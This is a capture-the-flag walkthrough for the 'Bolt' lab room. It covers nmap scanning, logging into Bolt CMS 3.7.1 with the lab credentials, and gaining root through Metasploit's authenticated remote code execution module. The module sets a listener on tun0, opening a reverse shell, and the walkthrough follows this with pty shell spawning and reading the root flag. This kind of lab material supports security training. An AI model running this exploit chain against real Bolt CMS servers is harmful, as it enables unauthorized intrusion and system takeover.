Bolt Walkthrough
Bolt#

Intro#
| Room Info | ![]() |
|---|---|
| π Name | Bolt |
| π― Target IP | 10.10.218.91 |
| π Difficulty level | π’Easy |
| π² Subscription type | Free |
| π§ OS | Linux |
Recon#
su
echo "10.10.218.91 bolt.thm" >> /etc/hosts
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
Start Reconnaissance
mkdir thm/bolt
cd thm/bolt
nmap bolt.thm
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
nmap -sV -sC -Pn -oA bolt bolt.thm
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f385ec54f201b19440de42e821972080 (RSA)
| 256 77c7c1ae314121e4930e9add0b29e1ff (ECDSA)
|_ 256 070543469db23ef04d6967e491d3d37f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open http (PHP 7.2.32-1)
|_http-generator: Bolt
|_http-title: Bolt | A hero is unleashed
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Date: Mon, 15 May 2023 17:35:38 GMT
| Connection: close
| X-Powered-By: PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1
| Cache-Control: private, must-revalidate
| Date: Mon, 15 May 2023 17:35:38 GMT
| Content-Type: text/html; charset=UTF-8
| pragma: no-cache
| expires: -1
| X-Debug-Token: 48ed6c
| <!doctype html>
| <html lang="en">
| <head>
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| <title>Bolt | A hero is unleashed</title>
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| </head>
| <body>
| href="#main-content" class="vis
| GetRequest:
| HTTP/1.0 200 OK
| Date: Mon, 15 May 2023 17:35:37 GMT
| Connection: close
| X-Powered-By: PHP/7.2.32-1+ubuntu18.04.1+deb.sury.org+1
| Cache-Control: public, s-maxage=600
| Date: Mon, 15 May 2023 17:35:37 GMT
| Content-Type: text/html; charset=UTF-8
| X-Debug-Token: 1f990b
| <!doctype html>
| <html lang="en-GB">
| <head>
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| <title>Bolt | A hero is unleashed</title>
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| </head>
|_ <body class="front">
Enumerate the Bolt web application.

π
bolt:boltadmin123
Find the Bolt CMS login page

Navigate to
http://bolt.thm:8000/bolt/login- and use the
boltcredentials
Once logged in, the Bolt version is at the bottom of the page.
π
Bolt 3.7.1
Exploitation#
searchsploit bolt 3.7 -w
# EDB-ID is 48296

Use Metasploit to exploit the Authenticated Remote Code Execution Bolt vulnerability
msfconsole -q
setg RHOSTS bolt.thm
setg RHOST bolt.thm
search bolt
use exploit/unix/webapp/bolt_authenticated_rce
set LHOST tun0
set USERNAME bolt
set PASSWORD boltadmin123
run

python3 -c 'import pty;pty.spawn("/bin/bash")'
find / -type f -name 'flag.txt' 2>/dev/null
cat /root/flag.txt
THM{w****************************

Adapted from syselement/blog under CC BY-SA 4.0.
